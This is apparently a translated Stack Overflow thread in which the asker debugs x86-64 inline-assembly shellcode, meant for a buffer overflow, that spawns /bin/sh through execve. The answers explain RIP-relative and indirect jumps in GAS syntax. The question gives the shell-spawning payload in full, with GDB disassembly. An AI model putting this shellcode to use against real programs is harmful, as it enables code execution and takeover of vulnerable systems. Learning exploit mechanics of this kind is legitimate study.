如何在 GCC (x86_64) 中使用内联汇编进行相对跳转/调用

pha*_*bit 7 c assembly gcc x86-64

我正在编写一个漏洞利用程序来从头开始生成一个 shell。(即用于缓冲区溢出)。我面临的问题之一是让 jmp 语句起作用。我的理解是jmp指令是相对于ip的。但是,当我尝试在内联汇编中运行以下内容时,我会跳转到绝对地址。

jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip

我解决这个问题的一种方法是使用 IP 作为指令的一部分,如下所示:

jmp *0x28(%rip) #will jump to address 0x28 relative to the ip

但是,当我这样做时,我在 jmp 上遇到了分段错误

整个汇编代码如下:

void main() {
    __asm__(
    "jmp  *0x28(%rip)                           \n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "call *-0x2e(%rip)                          \n"
    ".string \"/bin/sh\""
    );
}
Run Code Online (Sandbox Code Playgroud)

GDB 的反汇编输出是:

Dump of assembler code for function main:
   0x00000000004004ac <+0>: push   %rbp
   0x00000000004004ad <+1>: mov    %rsp,%rbp
   0x00000000004004b0 <+4>: jmpq   *0x28(%rip)        # 0x4004de <main+50>
   0x00000000004004b6 <+10>:    pop    %rax
   0x00000000004004b7 <+11>:    movw   $0x0,(%rax)
   0x00000000004004bc <+16>:    mov    %rax,0x8(%rax)
   0x00000000004004c0 <+20>:    movq   $0x0,0x10(%rax)
   0x00000000004004c8 <+28>:    mov    $0x0,%edx
   0x00000000004004cd <+33>:    mov    %rax,%rsi
   0x00000000004004d0 <+36>:    add    $0x8,%rsi
   0x00000000004004d4 <+40>:    mov    %rax,%rdi
   0x00000000004004d7 <+43>:    mov    $0x3b,%eax
   0x00000000004004dc <+48>:    syscall 
   0x00000000004004de <+50>:    callq  *-0x2e(%rip)        # 0x4004b6 <main+10>
   0x00000000004004e4 <+56>:    (bad)  
   0x00000000004004e5 <+57>:    (bad)  
   0x00000000004004e6 <+58>:    imul   $0x5d006873,0x2f(%rsi),%ebp
   0x00000000004004ed <+65>:    retq   
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

jmp *0x28(%rip)尽管 GDB 说它将转到正确的地址,但我在第一条指令上遇到了段错误。

有趣的是,如果我之前放置一个标签call *-0x2e(%rip)并 jmp 到它就可以了。该地址将是绝对地址,不会产生 jmp 处的分段错误。

使用标签的 C 代码:

void main() {
    __asm__(
    "jmp  my_hack                               \n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "my_hack:                               \n"
    "call *-0x2e(%rip)                          \n"
    ".string \"/bin/sh\""
    );
}
Run Code Online (Sandbox Code Playgroud)

结果拆解

Dump of assembler code for function main:
   0x00000000004004ac <+0>: push   %rbp
   0x00000000004004ad <+1>: mov    %rsp,%rbp
   0x00000000004004b0 <+4>: jmp    0x4004da <main+46>
   0x00000000004004b2 <+6>: pop    %rax
   0x00000000004004b3 <+7>: movw   $0x0,(%rax)
   0x00000000004004b8 <+12>:    mov    %rax,0x8(%rax)
   0x00000000004004bc <+16>:    movq   $0x0,0x10(%rax)
   0x00000000004004c4 <+24>:    mov    $0x0,%edx
   0x00000000004004c9 <+29>:    mov    %rax,%rsi
   0x00000000004004cc <+32>:    add    $0x8,%rsi
   0x00000000004004d0 <+36>:    mov    %rax,%rdi
   0x00000000004004d3 <+39>:    mov    $0x3b,%eax
   0x00000000004004d8 <+44>:    syscall 
   0x00000000004004da <+46>:    callq  *-0x2e(%rip)        # 0x4004b2 <main+6>
   0x00000000004004e0 <+52>:    (bad)  
   0x00000000004004e1 <+53>:    (bad)  
   0x00000000004004e2 <+54>:    imul   $0x5d006873,0x2f(%rsi),%ebp
   0x00000000004004e9 <+61>:    retq   
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

上述反汇编中使用标签的跳转不会产生分段错误。随意执行的调用0x00000000004004da。

有人可以解释为什么在 jmp 中使用 rip 会导致分段错误吗?

如何使用 GCC 内联汇编完成相对跳转/调用?我不知道如何检查汇编器,但是我很确定我正在使用 GAS(在他们的 wiki 上说它是默认的 GCC 汇编器)。已经在相关问题中提出了使用语法的建议,例如,jmp .+0x28这将导致绝对跳转而不是相对于 pc 的跳转。

wal*_*lyk 2

我认为你有点太间接了。尝试

jmp 0x28(%rip)
Run Code Online (Sandbox Code Playgroud)

在汇编程序中,它会(大约)写成

jmp   $+0x28
Run Code Online (Sandbox Code Playgroud)

我写的大约是因为汇编指令是相对于指令的起始地址的。但rip在执行时会递增到下一条指令。所以为了得到同样的效果

jmp   $+0x24     # maybe 0x23, maybe 0x25 depending on the instruction length
Run Code Online (Sandbox Code Playgroud)

  • 在 GAS 语法中,`jmp . + 0x22` 汇编为 `eb 20`。点是 NASM `$` 的 GAS 等价物。`jmp 0x28(%rip)` 仍然有太多间接:gas 警告:`警告:不带 '*' 的间接 jmp` 并汇编 `ff 25 28 00 00 00 jmp QWORD PTR [rip+0x28]` (2认同)